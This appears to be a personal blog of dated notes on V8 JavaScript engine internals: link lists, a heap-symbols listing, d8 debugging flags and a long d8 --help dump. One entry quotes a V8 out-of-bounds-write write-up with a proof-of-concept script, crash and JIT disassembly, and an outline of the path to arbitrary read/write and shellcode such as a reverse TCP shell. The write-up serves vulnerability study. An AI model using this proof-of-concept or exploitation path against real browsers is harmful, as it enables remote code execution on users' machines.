immtable



https://github.com/camsong/blog/issues/3

https://developer.mozilla.org/en-US/docs/Glossary/Mutable

Tuesday, September 5, 2017 by blast

symbols of v8



heap-symbols.h

#define PRIVATE_SYMBOL_LIST(V)
V(array_iteration_kind_symbol)
V(array_iterator_next_symbol)
V(array_iterator_object_symbol)
V(call_site_constructor_symbol)
V(call_site_function_symbol)
V(call_site_position_symbol)
V(call_site_receiver_symbol)
V(call_site_strict_symbol)
V(call_site_wasm_obj_symbol)
V(call_site_wasm_func_index_symbol)
V(class_end_position_symbol)
V(class_start_position_symbol)
V(detailed_stack_trace_symbol)
V(elements_transition_symbol)
V(error_end_pos_symbol)
V(error_script_symbol)
V(error_start_pos_symbol)
V(frozen_symbol)
V(hash_code_symbol)
V(home_object_symbol)
V(intl_impl_object_symbol)
V(intl_initialized_marker_symbol)
V(intl_pattern_symbol)
V(intl_resolved_symbol)
V(megamorphic_symbol)
V(native_context_index_symbol)
V(nonexistent_symbol)
V(nonextensible_symbol)
V(normal_ic_symbol)
V(not_mapped_symbol)
V(premonomorphic_symbol)
V(promise_combined_deferred_symbol)
V(promise_debug_marker_symbol)
V(promise_deferred_reactions_symbol)
V(promise_fulfill_reactions_symbol)
V(promise_has_handler_symbol)
V(promise_raw_symbol)
V(promise_reject_reactions_symbol)
V(promise_result_symbol)
V(promise_state_symbol)
V(sealed_symbol)
V(stack_trace_symbol)
V(strict_function_transition_symbol)
V(string_iterator_iterated_string_symbol)
V(string_iterator_next_index_symbol)
V(uninitialized_symbol)

#define PUBLIC_SYMBOL_LIST(V)
V(iterator_symbol, Symbol.iterator)
V(match_symbol, Symbol.match)
V(replace_symbol, Symbol.replace)
V(search_symbol, Symbol.search)
V(species_symbol, Symbol.species)
V(split_symbol, Symbol.split)
V(to_primitive_symbol, Symbol.toPrimitive)
V(unscopables_symbol, Symbol.unscopables)

// Well-Known Symbols are “Public” symbols, which have a bit set which causes
// them to produce an undefined value when a load results in a failed access
// check. Because this behaviour is not specified properly as of yet, it only
// applies to a subset of spec-defined Well-Known Symbols.
#define WELL_KNOWN_SYMBOL_LIST(V)
V(has_instance_symbol, Symbol.hasInstance)
V(is_concat_spreadable_symbol, Symbol.isConcatSpreadable)
V(to_string_tag_symbol, Symbol.toStringTag)

Monday, September 4, 2017 by blast

win10自动休眠的问题



http://blog.csdn.net/ivan_ljf/article/details/51104991

为什么win10这么智障呢,产品经理总是喜欢帮用户做决定……

Saturday, September 2, 2017 by blast

and.. here’s one another note



https://gist.github.com/ofrobots/0bdcab89771221ace68d

Thursday, August 31, 2017 by blast

another note



http://d.hatena.ne.jp/higepon/20090302/1235970545
http://d.hatena.ne.jp/higepon/20110715/1310685988
http://d.hatena.ne.jp/higepon/20110715/1310686097 *
http://d.hatena.ne.jp/higepon/20110719/1311033028
http://d.hatena.ne.jp/higepon/20110720/1311117346
http://d.hatena.ne.jp/higepon/20110723/1311379108
http://d.hatena.ne.jp/higepon/20110724/1311462752
http://d.hatena.ne.jp/higepon/20110726/1311636664

http://d.hatena.ne.jp/higepon/archive?word=v8

Tuesday, August 29, 2017 by blast

一些调试的东西



https://github.com/danbev/learning-v8

d8 test.js –ignition –print_bytecode (using ignition)
d8 test.js –print-bytecode (using ignition)

导入v8自带的gdbinit,支持打印v8各类型对象内容,比如用于打印 v8 JavaScript object 内容的job

http://www.mouseos.com/x64/doc4.html

https://zhuanlan.zhihu.com/p/25122691

https://github.com/v8/v8/wiki/TurboFan

https://stackoverflow.com/questions/277423/how-can-i-see-the-machine-code-generated-by-v8

http://benediktmeurer.de/2017/03/01/v8-behind-the-scenes-february-edition/

http://blog.csdn.net/sunbxonline/article/details/20311545

https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/

function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0×826852f4;
parseInt();
}
for(var i=0; i<2000; ++i) {
Ctor();
}
for(var i=0; i<2000; ++i) {
Check();
}
Ctor();
Check();
----Stack
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
[-------------------------------------code-------------------------------------]
0x736e0a <_ZN2v88internal6String14GetFlatContentEv+106>: test ecx,ecx
0×736e0c <_ZN2v88internal6String14GetFlatContentEv+108>:
je 0×736e1a <_ZN2v88internal6String14GetFlatContentEv+122>
0×736e0e <_ZN2v88internal6String14GetFlatContentEv+110>:
mov rdi,QWORD PTR [rdi]
=> 0×736e11 <_ZN2v88internal6String14GetFlatContentEv+113>:
mov rax,QWORD PTR [rdi]
0×736e14 <_ZN2v88internal6String14GetFlatContentEv+116>:
call QWORD PTR [rax+0×20]
0×736e17 <_ZN2v88internal6String14GetFlatContentEv+119>: mov rdi,rax
0×736e1a <_ZN2v88internal6String14GetFlatContentEv+122>: lea rax,[rdi+rbx*2]
0×736e1e <_ZN2v88internal6String14GetFlatContentEv+126>: movabs rcx,0×200000000
[——————————————————————————]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0×0000000000736e11 in v8::internal::String::GetFlatContent() ()
gdb-peda$ print $rdi
$1 = 0×4141414141414141

First Step

Notice that poc.js:5+109 get the address(0×3fd3734c7d89) of PROPERTY_CELL_TYPE , which stores
global variable n . After that, the return of Set Constructor will be writen to n .
In the second loop, Check() will be optimized as this JIT code

: push rbp
: mov rbp,rsp
: push rsi
: push rdi
: sub rsp,0×8
: mov rax,QWORD PTR [rbp-0×8]
: mov QWORD PTR [rbp-0×18],rax
: mov rsi,rax
: cmp rsp,QWORD PTR [r13+0xb78]
: jae 0×1e16ccf79ca3
: call 0×1e16ccf4ade0
: movabs r10,0×3fd3734b1511
: push r10
: movabs rdx,0×3fd3734b1511
: movabs rdx,0×3fd3734b1511
: xor eax,eax
: mov rsi,QWORD PTR [rbp-0×18]
: mov rdi,rdx
: call 0×1e16ccf3a040
: test al,0×1
: je 0×1e16ccf79d31
: movabs r10,0×387980f08e51
: cmp QWORD PTR [rax-0×1],r10
: jne 0×1e16ccf79d36
: movabs rbx,0×3fd3734c7d89
: mov QWORD PTR [rbx+0xf],rax
: lea rdx,[rbx+0xf]
: and rax,0xfffffffffff00000
: test BYTE PTR [rax+0×8],0×2
: je 0×1e16ccf79d20
: mov rax,0xfffffffffff00000
: and rax,rbx
: test BYTE PTR [rax+0×8],0×4
: je 0×1e16ccf79d20
: call 0×1e16ccf79380
: movabs rax,0×3fd373404311
: mov rsp,rbp
: pop rbp
: ret 0×8

Second Step

Start at +35 and +45 , it gets the global variable n , and on +64 , it gets the property cell(pointer to
a FixedArray) of n . On +68 , it gets n’s first property, and on +72 the number 0×826852f4 will be
writen to it.
In addition, v8 use map to identify objects, which is located on the first field of the object. A new Set’s
map is different from a Set with some properties. In general, the optimized JIT code always check the map
of the target objects, and will deoptimize if the map has been changed.
So the problem is that it doesn’t check the map of variable n in this optimized JIT code.
: push rbp
: mov rbp,rsp
: push rsi
: push rdi
: sub rsp,0×8
: mov rax,QWORD PTR [rbp-0×8]
: mov QWORD PTR [rbp-0×18],rax
: mov rsi,rax
: cmp rsp,QWORD PTR [r13+0xb78]
: jae 0×1e16ccf7a603
: call 0×1e16ccf4ade0
: movabs rax,0×3fd3734c7d89
: mov rax,QWORD PTR [rax+0xf]
: movabs r10,0×41e04d0a5e800000
: vmovq xmm0,r10
: mov rax,QWORD PTR [rax+0×7]
: mov rax,QWORD PTR [rax+0xf]
: vmovsd QWORD PTR [rax+0×7],xmm0
: movabs r10,0×3fd373404311
: push r10
: movabs r10,0×3fd3734c7129
: push r10
: movabs rdi,0×3fd3734b4041
: mov rsi,QWORD PTR [rbp-0×18]
: mov rsi,QWORD PTR [rdi+0×27]
: mov rdx,QWORD PTR [r13-0×60]
: mov eax,0×1
: mov ebx,0×2
: call 0×1e16ccf07d80
: movabs rax,0×3fd373404311
: mov rsp,rbp
: pop rbp
: ret 0×8

Third Step

After that we call Ctor() once, variable n will be set to the new Set , which has no properties. In
another word, it will point to the Empty FixedArray, which init at beginning of v8’s process.
In addition, if we won’t optimize Ctor() , the Check() function will be deoptimized when global
variable n is changed.
At last we call Check() , the number of 0×826852f4 will be writen to the first element of the Empty
FixedArray, OOB happens!
This bug can trigger by Set , Map , Uint8Array , Uint16Array , etc.
For our poc, v8 confuse the null string’s map to a heap number, and write the double number 0×826852f4
to it, which cause the OneByteString string to be a External String type. So the data of the string is treated
as a pointer.
So far we have the oob r/w on the Empty FixedArray. As I mentioned, Empty FixedArray will be init at the
beginning of process. After this is the null String Object, so we can overwritten the null’s length for
infoleak.
Besides, I use ab = new ArrayBuffer(0×4000); …; {m.e = ab;} to set the address of
ArrayBuffer’s pointer on the String’s content, so I can get the pointer’s address.
We can do three things via this OOB bug.
1. write a small int.
2. write a heap number.
3. write an Object’s pointer
The small int in memory is the value * 2, for v8 use the LSB to identify if it is a pointer or number.
For a heap number, it stores a pointer which point to a double number and in my POC, it is an example of
the heap number write. So we can put an Object’s pointer and use heap number write to overwrite the
structure of this object.
We use this strategy to modify the ArrayBuffer’s length and Buffer pointer, then we can do Arbitrary
read/write.
Finally we read a function’s JIT pointer, write shellcode on it and call it.
The shellcode for Chrome is to call IPC, and for docs is reverse tcp shell.

Monday, August 28, 2017 by blast

All supported d8 commands



./d8 --help

SSE3=1 SSE4_1=1 SAHF=1 AVX=1 FMA3=1 BMI1=1 BMI2=1 LZCNT=1 POPCNT=1 ATOM=0
Usage:
  shell [options] -e string
    execute string in V8
  shell [options] file1 file2 ... filek
    run JavaScript scripts in file1, file2, ..., filek
  shell [options]
  shell [options] --shell [file1 file2 ... filek]
    run an interactive JavaScript shell
  d8 [options] file1 file2 ... filek
  d8 [options]
  d8 [options] --shell [file1 file2 ... filek]
    run the new debugging shell

Options:
  --experimental_extras (enable code compiled in via v8_experimental_extra_library_files)
        type: bool  default: false
  --use_strict (enforce strict mode)
        type: bool  default: false
  --es_staging (enable test-worthy harmony features (for internal use only))
        type: bool  default: false
  --harmony (enable all completed harmony features)
        type: bool  default: false
  --harmony_shipping (enable all shipped harmony features)
        type: bool  default: true
  --legacy_const (legacy semantics for const in sloppy mode)
        type: bool  default: false
  --promise_extra (additional V8 Promise functions)
        type: bool  default: true
  --harmony_object_observe (enable "harmony Object.observe" (in progress))
        type: bool  default: false
  --harmony_function_sent (enable "harmony function.sent" (in progress))
        type: bool  default: false
  --harmony_sharedarraybuffer (enable "harmony sharedarraybuffer" (in progress))
        type: bool  default: false
  --harmony_simd (enable "harmony simd" (in progress))
        type: bool  default: false
  --harmony_do_expressions (enable "harmony do-expressions" (in progress))
        type: bool  default: false
  --harmony_tailcalls (enable "harmony tail calls" (in progress))
        type: bool  default: false
  --harmony_regexp_property (enable "harmony unicode regexp property classes" (in progress))
        type: bool  default: false
  --harmony_regexp_lookbehind (enable "harmony regexp lookbehind")
        type: bool  default: false
  --harmony_instanceof (enable "harmony instanceof support")
        type: bool  default: false
  --harmony_object_values_entries (enable "harmony Object.values / Object.entries")
        type: bool  default: false
  --harmony_object_own_property_descriptors (enable "harmony Object.getOwnPropertyDescriptors()")
        type: bool  default: false
  --harmony_array_prototype_values (enable "harmony Array.prototype.values")
        type: bool  default: true
  --harmony_function_name (enable "harmony Function name inference")
        type: bool  default: true
  --harmony_iterator_close (enable "harmony iterator finalization")
        type: bool  default: true
  --harmony_regexps (enable "harmony regular expression extensions")
        type: bool  default: true
  --harmony_unicode_regexps (enable "harmony unicode regexps")
        type: bool  default: true
  --harmony_sloppy (enable "harmony features in sloppy mode")
        type: bool  default: true
  --harmony_sloppy_let (enable "harmony let in sloppy mode")
        type: bool  default: true
  --harmony_sloppy_function (enable "harmony sloppy function block scoping")
        type: bool  default: true
  --harmony_proxies (enable "harmony proxies")
        type: bool  default: true
  --harmony_reflect (enable "harmony Reflect API")
        type: bool  default: true
  --harmony_regexp_subclass (enable "harmony regexp subclassing")
        type: bool  default: true
  --harmony_restrictive_declarations (enable "harmony limitations on sloppy mode function declarations")
        type: bool  default: true
  --harmony_species (enable "harmony Symbol.species")
        type: bool  default: true
  --compiled_keyed_generic_loads (use optimizing compiler to generate keyed generic load stubs)
        type: bool  default: false
  --allocation_site_pretenuring (pretenure with allocation sites)
        type: bool  default: true
  --trace_pretenuring (trace pretenuring decisions of HAllocate instructions)
        type: bool  default: false
  --trace_pretenuring_statistics (trace allocation site pretenuring statistics)
        type: bool  default: false
  --track_fields (track fields with only smi values)
        type: bool  default: true
  --track_double_fields (track fields with double values)
        type: bool  default: true
  --track_heap_object_fields (track fields with heap values)
        type: bool  default: true
  --track_computed_fields (track computed boilerplate fields)
        type: bool  default: true
  --track_field_types (track field types)
        type: bool  default: true
  --smi_binop (support smi representation in binary operations)
        type: bool  default: true
  --optimize_for_size (Enables optimizations which favor memory size over execution speed)
        type: bool  default: false
  --unbox_double_arrays (automatically unbox arrays of doubles)
        type: bool  default: true
  --string_slices (use string slices)
        type: bool  default: true
  --ignition (use ignition interpreter)
        type: bool  default: false
  --ignition_filter (filter for ignition interpreter)
        type: string  default: *
  --print_bytecode (print bytecode generated by ignition interpreter)
        type: bool  default: false
  --trace_ignition (trace the bytecodes executed by the ignition interpreter)
        type: bool  default: false
  --trace_ignition_codegen (trace the codegen of ignition interpreter bytecode handlers)
        type: bool  default: false
  --crankshaft (use crankshaft)
        type: bool  default: true
  --hydrogen_filter (optimization filter)
        type: string  default: *
  --use_gvn (use hydrogen global value numbering)
        type: bool  default: true
  --gvn_iterations (maximum number of GVN fix-point iterations)
        type: int  default: 3
  --use_canonicalizing (use hydrogen instruction canonicalizing)
        type: bool  default: true
  --use_inlining (use function inlining)
        type: bool  default: true
  --use_escape_analysis (use hydrogen escape analysis)
        type: bool  default: true
  --use_allocation_folding (use allocation folding)
        type: bool  default: true
  --use_local_allocation_folding (only fold in basic blocks)
        type: bool  default: false
  --use_write_barrier_elimination (eliminate write barriers targeting allocations in optimized code)
        type: bool  default: true
  --max_inlining_levels (maximum number of inlining levels)
        type: int  default: 5
  --max_inlined_source_size (maximum source size in bytes considered for a single inlining)
        type: int  default: 600
  --max_inlined_nodes (maximum number of AST nodes considered for a single inlining)
        type: int  default: 196
  --max_inlined_nodes_cumulative (maximum cumulative number of AST nodes considered for inlining)
        type: int  default: 400
  --loop_invariant_code_motion (loop invariant code motion)
        type: bool  default: true
  --fast_math (faster (but maybe less accurate) math functions)
        type: bool  default: true
  --collect_megamorphic_maps_from_stub_cache (crankshaft harvests type feedback from stub cache)
        type: bool  default: false
  --hydrogen_stats (print statistics for hydrogen)
        type: bool  default: false
  --trace_check_elimination (trace check elimination phase)
        type: bool  default: false
  --trace_environment_liveness (trace liveness of local variable slots)
        type: bool  default: false
  --trace_hydrogen (trace generated hydrogen to file)
        type: bool  default: false
  --trace_hydrogen_filter (hydrogen tracing filter)
        type: string  default: *
  --trace_hydrogen_stubs (trace generated hydrogen for stubs)
        type: bool  default: false
  --trace_hydrogen_file (trace hydrogen to given file name)
        type: string  default: NULL
  --trace_phase (trace generated IR for specified phases)
        type: string  default: HLZ
  --trace_inlining (trace inlining decisions)
        type: bool  default: false
  --trace_load_elimination (trace load elimination)
        type: bool  default: false
  --trace_store_elimination (trace store elimination)
        type: bool  default: false
  --trace_alloc (trace register allocator)
        type: bool  default: false
  --trace_all_uses (trace all use positions)
        type: bool  default: false
  --trace_range (trace range analysis)
        type: bool  default: false
  --trace_gvn (trace global value numbering)
        type: bool  default: false
  --trace_representation (trace representation types)
        type: bool  default: false
  --trace_removable_simulates (trace removable simulates)
        type: bool  default: false
  --trace_escape_analysis (trace hydrogen escape analysis)
        type: bool  default: false
  --trace_allocation_folding (trace allocation folding)
        type: bool  default: false
  --trace_track_allocation_sites (trace the tracking of allocation sites)
        type: bool  default: false
  --trace_migration (trace object migration)
        type: bool  default: false
  --trace_generalization (trace map generalization)
        type: bool  default: false
  --stress_pointer_maps (pointer map for every instruction)
        type: bool  default: false
  --stress_environments (environment for every instruction)
        type: bool  default: false
  --deopt_every_n_times (deoptimize every n times a deopt point is passed)
        type: int  default: 0
  --deopt_every_n_garbage_collections (deoptimize every n garbage collections)
        type: int  default: 0
  --print_deopt_stress (print number of possible deopt points)
        type: bool  default: false
  --trap_on_deopt (put a break point before deoptimizing)
        type: bool  default: false
  --trap_on_stub_deopt (put a break point before deoptimizing a stub)
        type: bool  default: false
  --deoptimize_uncommon_cases (deoptimize uncommon cases)
        type: bool  default: true
  --polymorphic_inlining (polymorphic inlining)
        type: bool  default: true
  --use_osr (use on-stack replacement)
        type: bool  default: true
  --array_bounds_checks_elimination (perform array bounds checks elimination)
        type: bool  default: true
  --trace_bce (trace array bounds check elimination)
        type: bool  default: false
  --array_bounds_checks_hoisting (perform array bounds checks hoisting)
        type: bool  default: false
  --array_index_dehoisting (perform array index dehoisting)
        type: bool  default: true
  --analyze_environment_liveness (analyze liveness of environment slots and zap dead values)
        type: bool  default: true
  --load_elimination (use load elimination)
        type: bool  default: true
  --check_elimination (use check elimination)
        type: bool  default: true
  --store_elimination (use store elimination)
        type: bool  default: false
  --dead_code_elimination (use dead code elimination)
        type: bool  default: true
  --fold_constants (use constant folding)
        type: bool  default: true
  --trace_dead_code_elimination (trace dead code elimination)
        type: bool  default: false
  --unreachable_code_elimination (eliminate unreachable code)
        type: bool  default: true
  --trace_osr (trace on-stack replacement)
        type: bool  default: false
  --stress_runs (number of stress runs)
        type: int  default: 0
  --lookup_sample_by_shared (when picking a function to optimize, watch for shared function info, not JSFunction itself)
        type: bool  default: true
  --flush_optimized_code_cache (flushes the cache of optimized code for closures on every GC)
        type: bool  default: false
  --inline_construct (inline constructor calls)
        type: bool  default: true
  --inline_arguments (inline functions with arguments object)
        type: bool  default: true
  --inline_accessors (inline JavaScript accessors)
        type: bool  default: true
  --escape_analysis_iterations (maximum number of escape analysis fix-point iterations)
        type: int  default: 2
  --concurrent_recompilation (optimizing hot functions asynchronously on a separate thread)
        type: bool  default: true
  --trace_concurrent_recompilation (track concurrent recompilation)
        type: bool  default: false
  --concurrent_recompilation_queue_length (the length of the concurrent compilation queue)
        type: int  default: 8
  --concurrent_recompilation_delay (artificial compilation delay in ms)
        type: int  default: 0
  --block_concurrent_recompilation (block queued jobs until released)
        type: bool  default: false
  --omit_map_checks_for_leaf_maps (do not emit check maps for constant values that have a leaf map, deoptimize the optimized code if the layout of the maps changes.)
        type: bool  default: true
  --turbo (enable TurboFan compiler)
        type: bool  default: false
  --turbo_shipping (enable TurboFan compiler on subset)
        type: bool  default: true
  --turbo_greedy_regalloc (use the greedy register allocator)
        type: bool  default: false
  --turbo_sp_frame_access (use stack pointer-relative access to frame wherever possible)
        type: bool  default: false
  --turbo_preprocess_ranges (run pre-register allocation heuristics)
        type: bool  default: true
  --turbo_loop_stackcheck (enable stack checks in loops)
        type: bool  default: true
  --turbo_filter (optimization filter for TurboFan compiler)
        type: string  default: ~~
  --trace_turbo (trace generated TurboFan IR)
        type: bool  default: false
  --trace_turbo_graph (trace generated TurboFan graphs)
        type: bool  default: false
  --trace_turbo_cfg_file (trace turbo cfg graph (for C1 visualizer) to a given file name)
        type: string  default: NULL
  --trace_turbo_types (trace TurboFan's types)
        type: bool  default: true
  --trace_turbo_scheduler (trace TurboFan's scheduler)
        type: bool  default: false
  --trace_turbo_reduction (trace TurboFan's various reducers)
        type: bool  default: false
  --trace_turbo_jt (trace TurboFan's jump threading)
        type: bool  default: false
  --trace_turbo_ceq (trace TurboFan's control equivalence)
        type: bool  default: false
  --turbo_asm (enable TurboFan for asm.js code)
        type: bool  default: true
  --turbo_asm_deoptimization (enable deoptimization in TurboFan for asm.js code)
        type: bool  default: false
  --turbo_verify (verify TurboFan graphs at each phase)
        type: bool  default: true
  --turbo_stats (print TurboFan statistics)
        type: bool  default: false
  --turbo_splitting (split nodes during scheduling in TurboFan)
        type: bool  default: true
  --turbo_types (use typed lowering in TurboFan)
        type: bool  default: true
  --turbo_source_positions (track source code positions when building TurboFan IR)
        type: bool  default: false
  --function_context_specialization (enable function context specialization in TurboFan)
        type: bool  default: false
  --native_context_specialization (enable native context specialization in TurboFan)
        type: bool  default: true
  --turbo_inlining (enable inlining in TurboFan)
        type: bool  default: true
  --trace_turbo_inlining (trace TurboFan inlining)
        type: bool  default: false
  --loop_assignment_analysis (perform loop assignment analysis)
        type: bool  default: true
  --turbo_profiling (enable profiling in TurboFan)
        type: bool  default: false
  --turbo_verify_allocation (verify register allocation in TurboFan)
        type: bool  default: true
  --turbo_move_optimization (optimize gap moves in TurboFan)
        type: bool  default: true
  --turbo_jt (enable jump threading in TurboFan)
        type: bool  default: true
  --turbo_osr (enable OSR in TurboFan)
        type: bool  default: true
  --turbo_stress_loop_peeling (stress loop peeling optimization)
        type: bool  default: false
  --turbo_cf_optimization (optimize control flow in TurboFan)
        type: bool  default: true
  --turbo_frame_elision (elide frames in TurboFan)
        type: bool  default: true
  --turbo_cache_shared_code (cache context-independent code)
        type: bool  default: true
  --turbo_preserve_shared_code (keep context-independent code)
        type: bool  default: false
  --turbo_escape (enable escape analysis)
        type: bool  default: false
  --turbo_instruction_scheduling (enable instruction scheduling in TurboFan)
        type: bool  default: false
  --turbo_stress_instruction_scheduling (randomly schedule instructions to stress dependency tracking)
        type: bool  default: false
  --expose_wasm (expose WASM interface to JavaScript)
        type: bool  default: false
  --trace_wasm_encoder (trace encoding of wasm code)
        type: bool  default: false
  --trace_wasm_decoder (trace decoding of wasm code)
        type: bool  default: false
  --trace_wasm_decode_time (trace decoding time of wasm code)
        type: bool  default: false
  --trace_wasm_compiler (trace compiling of wasm code)
        type: bool  default: false
  --trace_wasm_ast (dump AST after WASM decode)
        type: bool  default: false
  --wasm_break_on_decoder_error (debug break when wasm decoder encounters an error)
        type: bool  default: false
  --wasm_loop_assignment_analysis (perform loop assignment analysis for WASM)
        type: bool  default: false
  --enable_simd_asmjs (enable SIMD.js in asm.js stdlib)
        type: bool  default: false
  --dump_asmjs_wasm (dump Asm.js to WASM module bytes)
        type: bool  default: false
  --asmjs_wasm_dumpfile (file to dump asm wasm conversion result to)
        type: string  default: asmjs.wasm
  --typed_array_max_size_in_heap (threshold for in-heap typed array)
        type: int  default: 64
  --frame_count (number of stack frames inspected by the profiler)
        type: int  default: 1
  --interrupt_budget (execution budget before interrupt is triggered)
        type: int  default: 6144
  --type_info_threshold (percentage of ICs that must have type info to allow optimization)
        type: int  default: 25
  --generic_ic_threshold (max percentage of megamorphic/generic ICs to allow optimization)
        type: int  default: 30
  --self_opt_count (call count before self-optimization)
        type: int  default: 130
  --trace_opt_verbose (extra verbose compilation tracing)
        type: bool  default: false
  --debug_code (generate extra code (assertions) for debugging)
        type: bool  default: false
  --code_comments (emit comments in code disassembly)
        type: bool  default: false
  --enable_sse3 (enable use of SSE3 instructions if available)
        type: bool  default: true
  --enable_sse4_1 (enable use of SSE4.1 instructions if available)
        type: bool  default: true
  --enable_sahf (enable use of SAHF instruction if available (X64 only))
        type: bool  default: true
  --enable_avx (enable use of AVX instructions if available)
        type: bool  default: true
  --enable_fma3 (enable use of FMA3 instructions if available)
        type: bool  default: true
  --enable_bmi1 (enable use of BMI1 instructions if available)
        type: bool  default: true
  --enable_bmi2 (enable use of BMI2 instructions if available)
        type: bool  default: true
  --enable_lzcnt (enable use of LZCNT instruction if available)
        type: bool  default: true
  --enable_popcnt (enable use of POPCNT instruction if available)
        type: bool  default: true
  --enable_vfp3 (enable use of VFP3 instructions if available)
        type: bool  default: true
  --enable_armv7 (enable use of ARMv7 instructions if available (ARM only))
        type: bool  default: true
  --enable_armv8 (enable use of ARMv8 instructions if available (ARM 32-bit only))
        type: bool  default: true
  --enable_neon (enable use of NEON instructions if available (ARM only))
        type: bool  default: true
  --enable_sudiv (enable use of SDIV and UDIV instructions if available (ARM only))
        type: bool  default: true
  --enable_mls (enable use of MLS instructions if available (ARM only))
        type: bool  default: true
  --enable_movw_movt (enable loading 32-bit constant by means of movw/movt instruction pairs (ARM only))
        type: bool  default: false
  --enable_unaligned_accesses (enable unaligned accesses for ARMv7 (ARM only))
        type: bool  default: true
  --enable_32dregs (enable use of d16-d31 registers on ARM - this requires VFP3)
        type: bool  default: true
  --enable_vldr_imm (enable use of constant pools for double immediate (ARM only))
        type: bool  default: false
  --force_long_branches (force all emitted branches to be in long mode (MIPS/PPC only))
        type: bool  default: false
  --mcpu (enable optimization for specific cpu)
        type: string  default: auto
  --expose_natives_as (expose natives in global object)
        type: string  default: NULL
  --expose_debug_as (expose debug in global object)
        type: string  default: NULL
  --expose_free_buffer (expose freeBuffer extension)
        type: bool  default: false
  --expose_gc (expose gc extension)
        type: bool  default: false
  --expose_gc_as (expose gc extension under the specified name)
        type: string  default: NULL
  --expose_externalize_string (expose externalize string extension)
        type: bool  default: false
  --expose_trigger_failure (expose trigger-failure extension)
        type: bool  default: false
  --stack_trace_limit (number of stack frames to capture)
        type: int  default: 10
  --builtins_in_stack_traces (show built-in functions in stack traces)
        type: bool  default: false
  --disable_native_files (disable builtin natives files)
        type: bool  default: false
  --inline_new (use fast inline allocation)
        type: bool  default: true
  --trace_codegen (print name of functions for which code is generated)
        type: bool  default: false
  --trace (trace function calls)
        type: bool  default: false
  --mask_constants_with_cookie (use random jit cookie to mask large constants)
        type: bool  default: true
  --lazy (use lazy compilation)
        type: bool  default: true
  --trace_opt (trace lazy optimization)
        type: bool  default: false
  --trace_opt_stats (trace lazy optimization statistics)
        type: bool  default: false
  --opt (use adaptive optimizations)
        type: bool  default: true
  --always_opt (always try to optimize functions)
        type: bool  default: false
  --always_osr (always try to OSR functions)
        type: bool  default: false
  --prepare_always_opt (prepare for turning on always opt)
        type: bool  default: false
  --trace_deopt (trace optimize function deoptimization)
        type: bool  default: false
  --trace_stub_failures (trace deoptimization of generated code stubs)
        type: bool  default: false
  --serialize_toplevel (enable caching of toplevel scripts)
        type: bool  default: true
  --serialize_eager (compile eagerly when caching scripts)
        type: bool  default: false
  --serialize_age_code (pre age code in the code cache)
        type: bool  default: false
  --trace_serializer (print code serializer trace)
        type: bool  default: false
  --min_preparse_length (minimum length for automatic enable preparsing)
        type: int  default: 1024
  --max_opt_count (maximum number of optimization attempts before giving up.)
        type: int  default: 10
  --compilation_cache (enable compilation cache)
        type: bool  default: true
  --cache_prototype_transitions (cache prototype transitions)
        type: bool  default: true
  --cpu_profiler_sampling_interval (CPU profiler sampling interval in microseconds)
        type: int  default: 1000
  --trace_js_array_abuse (trace out-of-bounds accesses to JS arrays)
        type: bool  default: false
  --trace_external_array_abuse (trace out-of-bounds-accesses to external arrays)
        type: bool  default: false
  --trace_array_abuse (trace out-of-bounds accesses to all arrays)
        type: bool  default: false
  --debug_eval_readonly_locals (do not update locals after debug-evaluate)
        type: bool  default: true
  --trace_debug_json (trace debugging JSON request/response)
        type: bool  default: false
  --enable_liveedit (enable liveedit experimental feature)
        type: bool  default: true
  --hard_abort (abort by crashing)
        type: bool  default: true
  --stack_size (default size of stack region v8 is allowed to use (in kBytes))
        type: int  default: 984
  --max_stack_trace_source_length (maximum length of function source code printed in a stack trace.)
        type: int  default: 300
  --always_inline_smi_code (always inline smi code in non-opt code)
        type: bool  default: false
  --verify_operand_stack_depth (emit debug code that verifies the static tracking of the operand stack depth)
        type: bool  default: false
  --min_semi_space_size (min size of a semi-space (in MBytes), the new space consists of twosemi-spaces)
        type: int  default: 0
  --max_semi_space_size (max size of a semi-space (in MBytes), the new space consists of twosemi-spaces)
        type: int  default: 0
  --semi_space_growth_factor (factor by which to grow the new space)
        type: int  default: 2
  --experimental_new_space_growth_heuristic (Grow the new space based on the percentage of survivors instead of their absolute value.)
        type: bool  default: false
  --max_old_space_size (max size of the old space (in Mbytes))
        type: int  default: 0
  --initial_old_space_size (initial old space size (in Mbytes))
        type: int  default: 0
  --max_executable_size (max size of executable memory (in Mbytes))
        type: int  default: 0
  --gc_global (always perform global GCs)
        type: bool  default: false
  --gc_interval (garbage collect after <n> allocations)
        type: int  default: -1
  --retain_maps_for_n_gc (keeps maps alive for <n> old space garbage collections)
        type: int  default: 2
  --trace_gc (print one trace line following each garbage collection)
        type: bool  default: false
  --trace_gc_nvp (print one detailed trace line in name=value format after each garbage collection)
        type: bool  default: false
  --trace_gc_ignore_scavenger (do not print trace line after scavenger collection)
        type: bool  default: false
  --trace_idle_notification (print one trace line following each idle notification)
        type: bool  default: false
  --trace_idle_notification_verbose (prints the heap state used by the idle notification)
        type: bool  default: false
  --print_cumulative_gc_stat (print cumulative GC statistics in name=value format on exit)
        type: bool  default: false
  --print_max_heap_committed (print statistics of the maximum memory committed for the heap in name=value format on exit)
        type: bool  default: false
  --trace_gc_verbose (print more details following each garbage collection)
        type: bool  default: false
  --trace_allocation_stack_interval (print stack trace after <n> free-list allocations)
        type: int  default: -1
  --trace_fragmentation (report fragmentation for old space)
        type: bool  default: false
  --trace_fragmentation_verbose (report fragmentation for old space (detailed))
        type: bool  default: false
  --trace_mutator_utilization (print mutator utilization, allocation speed, gc speed)
        type: bool  default: false
  --weak_embedded_maps_in_optimized_code (make maps embedded in optimized code weak)
        type: bool  default: true
  --weak_embedded_objects_in_optimized_code (make objects embedded in optimized code weak)
        type: bool  default: true
  --flush_code (flush code that we expect not to use again)
        type: bool  default: true
  --trace_code_flushing (trace code flushing progress)
        type: bool  default: false
  --age_code (track un-executed functions to age code and flush only old code (required for code flushing))
        type: bool  default: true
  --incremental_marking (use incremental marking)
        type: bool  default: true
  --min_progress_during_incremental_marking_finalization (keep finalizing incremental marking as long as we discover at least this many unmarked objects)
        type: int  default: 32
  --max_incremental_marking_finalization_rounds (at most try this many times to finalize incremental marking)
        type: int  default: 3
  --black_allocation (use black allocation)
        type: bool  default: false
  --concurrent_sweeping (use concurrent sweeping)
        type: bool  default: true
  --parallel_compaction (use parallel compaction)
        type: bool  default: true
  --parallel_pointer_update (use parallel pointer update during compaction)
